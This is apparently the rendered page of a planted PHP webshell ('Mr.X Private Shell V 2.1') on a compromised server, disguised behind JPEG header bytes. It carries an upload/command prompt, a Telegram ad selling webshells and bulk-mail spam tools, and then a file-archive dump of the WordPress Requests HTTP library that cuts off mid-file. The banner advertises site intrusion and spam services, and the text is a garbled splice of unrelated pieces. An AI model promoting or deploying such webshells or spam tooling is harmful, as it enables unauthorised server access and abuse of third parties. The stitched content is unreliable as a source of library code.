����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eliteafr@216.73.217.121: ~ $
Requests.php000066600000102321152164665240007106 0ustar00<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Auth\Basic;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\IdnaEncoder;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Proxy\Http;
use WpOrg\Requests\Response;
use WpOrg\Requests\Transport\Curl;
use WpOrg\Requests\Transport\Fsockopen;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */
class Requests {
	/**
	 * POST method
	 *
	 * @var string
	 */
	const POST = 'POST';

	/**
	 * PUT method
	 *
	 * @var string
	 */
	const PUT = 'PUT';

	/**
	 * GET method
	 *
	 * @var string
	 */
	const GET = 'GET';

	/**
	 * HEAD method
	 *
	 * @var string
	 */
	const HEAD = 'HEAD';

	/**
	 * DELETE method
	 *
	 * @var string
	 */
	const DELETE = 'DELETE';

	/**
	 * OPTIONS method
	 *
	 * @var string
	 */
	const OPTIONS = 'OPTIONS';

	/**
	 * TRACE method
	 *
	 * @var string
	 */
	const TRACE = 'TRACE';

	/**
	 * PATCH method
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 * @var string
	 */
	const PATCH = 'PATCH';

	/**
	 * Default size of buffer size to read streams
	 *
	 * @var integer
	 */
	const BUFFER_SIZE = 1160;

	/**
	 * Option defaults.
	 *
	 * @see \WpOrg\Requests\Requests::get_default_options()
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const OPTION_DEFAULTS = [
		'timeout'          => 10,
		'connect_timeout'  => 10,
		'useragent'        => 'php-requests/' . self::VERSION,
		'protocol_version' => 1.1,
		'redirected'       => 0,
		'redirects'        => 10,
		'follow_redirects' => true,
		'blocking'         => true,
		'type'             => self::GET,
		'filename'         => false,
		'auth'             => false,
		'proxy'            => false,
		'cookies'          => false,
		'max_bytes'        => false,
		'idn'              => true,
		'hooks'            => null,
		'transport'        => null,
		'verify'           => null,
		'verifyname'       => true,
	];

	/**
	 * Default supported Transport classes.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const DEFAULT_TRANSPORTS = [
		Curl::class      => Curl::class,
		Fsockopen::class => Fsockopen::class,
	];

	/**
	 * Current version of Requests
	 *
	 * @var string
	 */
	const VERSION = '2.0.11';

	/**
	 * Selected transport name
	 *
	 * Use {@see \WpOrg\Requests\Requests::get_transport()} instead
	 *
	 * @var array
	 */
	public static $transport = [];

	/**
	 * Registered transport classes
	 *
	 * @var array
	 */
	protected static $transports = [];

	/**
	 * Default certificate path.
	 *
	 * @see \WpOrg\Requests\Requests::get_certificate_path()
	 * @see \WpOrg\Requests\Requests::set_certificate_path()
	 *
	 * @var string
	 */
	protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';

	/**
	 * All (known) valid deflate, gzip header magic markers.
	 *
	 * These markers relate to different compression levels.
	 *
	 * @link https://stackoverflow.com/a/43170354/482864 Marker source.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	private static $magic_compression_headers = [
		"\x1f\x8b" => true, // Gzip marker.
		"\x78\x01" => true, // Zlib marker - level 1.
		"\x78\x5e" => true, // Zlib marker - level 2 to 5.
		"\x78\x9c" => true, // Zlib marker - level 6.
		"\x78\xda" => true, // Zlib marker - level 7 to 9.
	];

	/**
	 * This is a static class, do not instantiate it
	 *
	 * @codeCoverageIgnore
	 */
	private function __construct() {}

	/**
	 * Register a transport
	 *
	 * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
	 */
	public static function add_transport($transport) {
		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		self::$transports[$transport] = $transport;
	}

	/**
	 * Get the fully qualified class name (FQCN) for a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return string FQCN of the transport to use, or an empty string if no transport was
	 *                found which provided the requested capabilities.
	 */
	protected static function get_transport_class(array $capabilities = []) {
		// Caching code, don't bother testing coverage.
		// @codeCoverageIgnoreStart
		// Array of capabilities as a string to be used as an array key.
		ksort($capabilities);
		$cap_string = serialize($capabilities);

		// Don't search for a transport if it's already been done for these $capabilities.
		if (isset(self::$transport[$cap_string])) {
			return self::$transport[$cap_string];
		}

		// Ensure we will not run this same check again later on.
		self::$transport[$cap_string] = '';
		// @codeCoverageIgnoreEnd

		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		// Find us a working transport.
		foreach (self::$transports as $class) {
			if (!class_exists($class)) {
				continue;
			}

			$result = $class::test($capabilities);
			if ($result === true) {
				self::$transport[$cap_string] = $class;
				break;
			}
		}

		return self::$transport[$cap_string];
	}

	/**
	 * Get a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return \WpOrg\Requests\Transport
	 * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
	 */
	protected static function get_transport(array $capabilities = []) {
		$class = self::get_transport_class($capabilities);

		if ($class === '') {
			throw new Exception('No working transports found', 'notransport', self::$transports);
		}

		return new $class();
	}

	/**
	 * Checks to see if we have a transport for the capabilities requested.
	 *
	 * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
	 * interface as constants.
	 *
	 * Example usage:
	 * `Requests::has_capabilities([Capability::SSL => true])`.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport has the requested capabilities.
	 */
	public static function has_capabilities(array $capabilities = []) {
		return self::get_transport_class($capabilities) !== '';
	}

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public static function get($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public static function head($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public static function delete($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::DELETE, $options);
	}

	/**
	 * Send a TRACE request
	 */
	public static function trace($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::TRACE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public static function post($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::POST, $options);
	}
	/**
	 * Send a PUT request
	 */
	public static function put($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PUT, $options);
	}

	/**
	 * Send an OPTIONS request
	 */
	public static function options($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::OPTIONS, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public static function patch($url, $headers, $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * The `$options` parameter takes an associative array with the following
	 * options:
	 *
	 * - `timeout`: How long should we wait for a response?
	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
	 *    operates at second-resolution only.
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `connect_timeout`: How long should we wait while trying to connect?
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `useragent`: Useragent to send to the server
	 *    (string, default: php-requests/$version)
	 * - `follow_redirects`: Should we follow 3xx redirects?
	 *    (boolean, default: true)
	 * - `redirects`: How many times should we redirect before erroring?
	 *    (integer, default: 10)
	 * - `blocking`: Should we block processing on this request?
	 *    (boolean, default: true)
	 * - `filename`: File to stream the body to instead.
	 *    (string|boolean, default: false)
	 * - `auth`: Authentication handler or array of user/password details to use
	 *    for Basic authentication
	 *    (\WpOrg\Requests\Auth|array|boolean, default: false)
	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
	 *    (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
	 * - `max_bytes`: Limit for the response body size.
	 *    (integer|boolean, default: false)
	 * - `idn`: Enable IDN parsing
	 *    (boolean, default: true)
	 * - `transport`: Custom transport. Either a class name, or a
	 *    transport object. Defaults to the first working transport from
	 *    {@see \WpOrg\Requests\Requests::getTransport()}
	 *    (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
	 * - `hooks`: Hooks handler.
	 *    (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
	 *    certificate file as a string. (Using true uses the system-wide root
	 *    certificate store instead, but this may have different behaviour
	 *    across transports.)
	 *    (string|boolean, default: certificates/cacert.pem)
	 * - `verifyname`: Should we verify the common name in the SSL certificate?
	 *    (boolean, default: true)
	 * - `data_format`: How should we send the `$data` parameter?
	 *    (string, one of 'query' or 'body', default: 'query' for
	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see description for more information)
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_string($type) === false) {
			throw InvalidArgument::create(4, '$type', 'string', gettype($type));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(5, '$options', 'array', gettype($options));
		}

		if (empty($options['type'])) {
			$options['type'] = $type;
		}

		$options = array_merge(self::get_default_options(), $options);

		self::set_defaults($url, $headers, $data, $type, $options);

		$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$need_ssl     = (stripos($url, 'https://') === 0);
			$capabilities = [Capability::SSL => $need_ssl];
			$transport    = self::get_transport($capabilities);
		}

		$response = $transport->request($url, $headers, $data, $options);

		$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);

		return self::parse_response($response, $url, $headers, $data, $options);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * The `$requests` parameter takes an associative or indexed array of
	 * request fields. The key of each request can be used to match up the
	 * request with the returned data, or with the request passed into your
	 * `multiple.request.complete` callback.
	 *
	 * The request fields value is an associative array with the following keys:
	 *
	 * - `url`: Request URL Same as the `$url` parameter to
	 *    {@see \WpOrg\Requests\Requests::request()}
	 *    (string, required)
	 * - `headers`: Associative array of header fields. Same as the `$headers`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array, default: `array()`)
	 * - `data`: Associative array of data fields or a string. Same as the
	 *    `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array|string, default: `array()`)
	 * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (string, default: `\WpOrg\Requests\Requests::GET`)
	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
	 *    (array|\WpOrg\Requests\Cookie\Jar)
	 *
	 * If the `$options` parameter is specified, individual requests will
	 * inherit options from it. This can be used to use a single hooking system,
	 * or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
	 *
	 * In addition, the `$options` parameter takes the following global options:
	 *
	 * - `complete`: A callback for when a request is complete. Takes two
	 *    parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
	 *    ID from the request array (Note: this can also be overridden on a
	 *    per-request basis, although that's a little silly)
	 *    (callback)
	 *
	 * @param array $requests Requests data (see description for more information)
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public static function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$options = array_merge(self::get_default_options(true), $options);

		if (!empty($options['hooks'])) {
			$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
			if (!empty($options['complete'])) {
				$options['hooks']->register('multiple.request.complete', $options['complete']);
			}
		}

		foreach ($requests as $id => &$request) {
			if (!isset($request['headers'])) {
				$request['headers'] = [];
			}

			if (!isset($request['data'])) {
				$request['data'] = [];
			}

			if (!isset($request['type'])) {
				$request['type'] = self::GET;
			}

			if (!isset($request['options'])) {
				$request['options']         = $options;
				$request['options']['type'] = $request['type'];
			} else {
				if (empty($request['options']['type'])) {
					$request['options']['type'] = $request['type'];
				}

				$request['options'] = array_merge($options, $request['options']);
			}

			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);

			// Ensure we only hook in once
			if ($request['options']['hooks'] !== $options['hooks']) {
				$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
				if (!empty($request['options']['complete'])) {
					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
				}
			}
		}

		unset($request);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$transport = self::get_transport();
		}

		$responses = $transport->request_multiple($requests, $options);

		foreach ($responses as $id => &$response) {
			// If our hook got messed with somehow, ensure we end up with the
			// correct response
			if (is_string($response)) {
				$request = $requests[$id];
				self::parse_multiple($response, $request);
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
			}
		}

		return $responses;
	}

	/**
	 * Get the default options
	 *
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 * @param boolean $multirequest Is this a multirequest?
	 * @return array Default option values
	 */
	protected static function get_default_options($multirequest = false) {
		$defaults           = static::OPTION_DEFAULTS;
		$defaults['verify'] = self::$certificate_path;

		if ($multirequest !== false) {
			$defaults['complete'] = null;
		}

		return $defaults;
	}

	/**
	 * Get default certificate path.
	 *
	 * @return string Default certificate path.
	 */
	public static function get_certificate_path() {
		return self::$certificate_path;
	}

	/**
	 * Set default certificate path.
	 *
	 * @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
	 */
	public static function set_certificate_path($path) {
		if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
			throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
		}

		self::$certificate_path = $path;
	}

	/**
	 * Set the default values
	 *
	 * The $options parameter is updated with the results.
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type
	 * @param array $options Options for the request
	 * @return void
	 *
	 * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
	 */
	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
			throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
		}

		if (empty($options['hooks'])) {
			$options['hooks'] = new Hooks();
		}

		if (is_array($options['auth'])) {
			$options['auth'] = new Basic($options['auth']);
		}

		if ($options['auth'] !== false) {
			$options['auth']->register($options['hooks']);
		}

		if (is_string($options['proxy']) || is_array($options['proxy'])) {
			$options['proxy'] = new Http($options['proxy']);
		}

		if ($options['proxy'] !== false) {
			$options['proxy']->register($options['hooks']);
		}

		if (is_array($options['cookies'])) {
			$options['cookies'] = new Jar($options['cookies']);
		} elseif (empty($options['cookies'])) {
			$options['cookies'] = new Jar();
		}

		if ($options['cookies'] !== false) {
			$options['cookies']->register($options['hooks']);
		}

		if ($options['idn'] !== false) {
			$iri       = new Iri($url);
			$iri->host = IdnaEncoder::encode($iri->ihost);
			$url       = $iri->uri;
		}

		// Massage the type to ensure we support it.
		$type = strtoupper($type);

		if (!isset($options['data_format'])) {
			if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
				$options['data_format'] = 'query';
			} else {
				$options['data_format'] = 'body';
			}
		}
	}

	/**
	 * HTTP response parser
	 *
	 * @param string $headers Full response text including headers and body
	 * @param string $url Original request URL
	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
	 */
	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
		$return = new Response();
		if (!$options['blocking']) {
			return $return;
		}

		$return->raw  = $headers;
		$return->url  = (string) $url;
		$return->body = '';

		if (!$options['filename']) {
			$pos = strpos($headers, "\r\n\r\n");
			if ($pos === false) {
				// Crap!
				throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
			}

			$headers = substr($return->raw, 0, $pos);
			// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
			$body = substr($return->raw, $pos + 4);
			if (!empty($body)) {
				$return->body = $body;
			}
		}

		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
		$headers = str_replace("\r\n", "\n", $headers);
		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
		$headers = explode("\n", $headers);
		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
		if (empty($matches)) {
			throw new Exception('Response could not be parsed', 'noversion', $headers);
		}

		$return->protocol_version = (float) $matches[1];
		$return->status_code      = (int) $matches[2];
		if ($return->status_code >= 200 && $return->status_code < 300) {
			$return->success = true;
		}

		foreach ($headers as $header) {
			list($key, $value) = explode(':', $header, 2);
			$value             = trim($value);
			preg_replace('#(\s+)#i', ' ', $value);
			$return->headers[$key] = $value;
		}

		if (isset($return->headers['transfer-encoding'])) {
			$return->body = self::decode_chunked($return->body);
			unset($return->headers['transfer-encoding']);
		}

		if (isset($return->headers['content-encoding'])) {
			$return->body = self::decompress($return->body);
		}

		//fsockopen and cURL compatibility
		if (isset($return->headers['connection'])) {
			unset($return->headers['connection']);
		}

		$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);

		if ($return->is_redirect() && $options['follow_redirects'] === true) {
			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
				if ($return->status_code === 303) {
					$options['type'] = self::GET;
				}

				$options['redirected']++;
				$location = $return->headers['location'];
				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
					// relative redirect, for compatibility make it absolute
					$location = Iri::absolutize($url, $location);
					$location = $location->uri;
				}

				$hook_args = [
					&$location,
					&$req_headers,
					&$req_data,
					&$options,
					$return,
				];
				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
				$redirected            = self::request($location, $req_headers, $req_data, $options['type'], $options);
				$redirected->history[] = $return;
				return $redirected;
			} elseif ($options['redirected'] >= $options['redirects']) {
				throw new Exception('Too many redirects', 'toomanyredirects', $return);
			}
		}

		$return->redirects = $options['redirected'];

		$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
		return $return;
	}

	/**
	 * Callback for `transport.internal.parse_response`
	 *
	 * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
	 * while still executing a multiple request.
	 *
	 * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
	 *
	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
	 * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
	 * @return void
	 */
	public static function parse_multiple(&$response, $request) {
		try {
			$url      = $request['url'];
			$headers  = $request['headers'];
			$data     = $request['data'];
			$options  = $request['options'];
			$response = self::parse_response($response, $url, $headers, $data, $options);
		} catch (Exception $e) {
			$response = $e;
		}
	}

	/**
	 * Decoded a chunked body as per RFC 2616
	 *
	 * @link https://tools.ietf.org/html/rfc2616#section-3.6.1
	 * @param string $data Chunked body
	 * @return string Decoded body
	 */
	protected static function decode_chunked($data) {
		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
			return $data;
		}

		$decoded = '';
		$encoded = $data;

		while (true) {
			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
			if (!$is_chunked) {
				// Looks like it's not chunked after all
				return $data;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0) {
				// Ignore trailer headers
				return $decoded;
			}

			$chunk_length = strlen($matches[0]);
			$decoded     .= substr($encoded, $chunk_length, $length);
			$encoded      = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded)) {
				return $decoded;
			}
		}

		// We'll never actually get down here
		// @codeCoverageIgnoreStart
	}
	// @codeCoverageIgnoreEnd

	/**
	 * Convert a key => value array to a 'key: value' array for headers
	 *
	 * @param iterable $dictionary Dictionary of header values
	 * @return array List of headers
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
	 */
	public static function flatten($dictionary) {
		if (InputValidator::is_iterable($dictionary) === false) {
			throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
		}

		$return = [];
		foreach ($dictionary as $key => $value) {
			$return[] = sprintf('%s: %s', $key, $value);
		}

		return $return;
	}

	/**
	 * Decompress an encoded body
	 *
	 * Implements gzip, compress and deflate. Guesses which it is by attempting
	 * to decode.
	 *
	 * @param string $data Compressed data in one of the above formats
	 * @return string Decompressed string
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function decompress($data) {
		if (is_string($data) === false) {
			throw InvalidArgument::create(1, '$data', 'string', gettype($data));
		}

		if (trim($data) === '') {
			// Empty body does not need further processing.
			return $data;
		}

		$marker = substr($data, 0, 2);
		if (!isset(self::$magic_compression_headers[$marker])) {
			// Not actually compressed. Probably cURL ruining this for us.
			return $data;
		}

		if (function_exists('gzdecode')) {
			$decoded = @gzdecode($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		if (function_exists('gzinflate')) {
			$decoded = @gzinflate($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		$decoded = self::compatible_gzinflate($data);
		if ($decoded !== false) {
			return $decoded;
		}

		if (function_exists('gzuncompress')) {
			$decoded = @gzuncompress($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		return $data;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 1.6.0
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/gzinflate#70875
	 * @link https://www.php.net/gzinflate#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|bool False on failure.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function compatible_gzinflate($gz_data) {
		if (is_string($gz_data) === false) {
			throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
		}

		if (trim($gz_data) === '') {
			return false;
		}

		// Compressed data might contain a full zlib header, if so strip it for
		// gzinflate()
		if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
			$i   = 10;
			$flg = ord(substr($gz_data, 3, 1));
			if ($flg > 0) {
				if ($flg & 4) {
					list($xlen) = unpack('v', substr($gz_data, $i, 2));
					$i         += 2 + $xlen;
				}

				if ($flg & 8) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 16) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 2) {
					$i += 2;
				}
			}

			$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		// If the data is Huffman Encoded, we must first strip the leading 2
		// byte Huffman marker for gzinflate()
		// The response is Huffman coded by many compressors such as
		// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
		// System.IO.Compression.DeflateStream.
		//
		// See https://decompres.blogspot.com/ for a quick explanation of this
		// data type
		$huffman_encoded = false;

		// low nibble of first byte should be 0x08
		list(, $first_nibble) = unpack('h', $gz_data);

		// First 2 bytes should be divisible by 0x1F
		list(, $first_two_bytes) = unpack('n', $gz_data);

		if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
			$huffman_encoded = true;
		}

		if ($huffman_encoded) {
			$decompressed = @gzinflate(substr($gz_data, 2));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
			// ZIP file format header
			// Offset 6: 2 bytes, General-purpose field
			// Offset 26: 2 bytes, filename length
			// Offset 28: 2 bytes, optional field length
			// Offset 30: Filename field, followed by optional field, followed
			// immediately by data
			list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));

			// If the file has been compressed on the fly, 0x08 bit is set of
			// the general purpose field. We can use this to differentiate
			// between a compressed document, and a ZIP file
			$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);

			if (!$zip_compressed_on_the_fly) {
				// Don't attempt to decode a compressed zip file
				return $gz_data;
			}

			// Determine the first byte of data, based on the above ZIP header
			// offsets:
			$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
			$decompressed     = @gzinflate(substr($gz_data, 30 + $first_file_start));
			if ($decompressed !== false) {
				return $decompressed;
			}

			return false;
		}

		// Finally fall back to straight gzinflate
		$decompressed = @gzinflate($gz_data);
		if ($decompressed !== false) {
			return $decompressed;
		}

		// Fallback for all above failing, not expected, but included for
		// debugging and preventing regressions and to track stats
		$decompressed = @gzinflate(substr($gz_data, 2));
		if ($decompressed !== false) {
			return $decompressed;
		}

		return false;
	}
}
Exception/ArgumentCount.php000066600000002664152164665240012035 0ustar00<?php

namespace WpOrg\Requests\Exception;

use WpOrg\Requests\Exception;

/**
 * Exception for when an incorrect number of arguments are passed to a method.
 *
 * Typically, this exception is used when all arguments for a method are optional,
 * but certain arguments need to be passed together, i.e. a method which can be called
 * with no arguments or with two arguments, but not with one argument.
 *
 * Along the same lines, this exception is also used if a method expects an array
 * with a certain number of elements and the provided number of elements does not comply.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class ArgumentCount extends Exception {

	/**
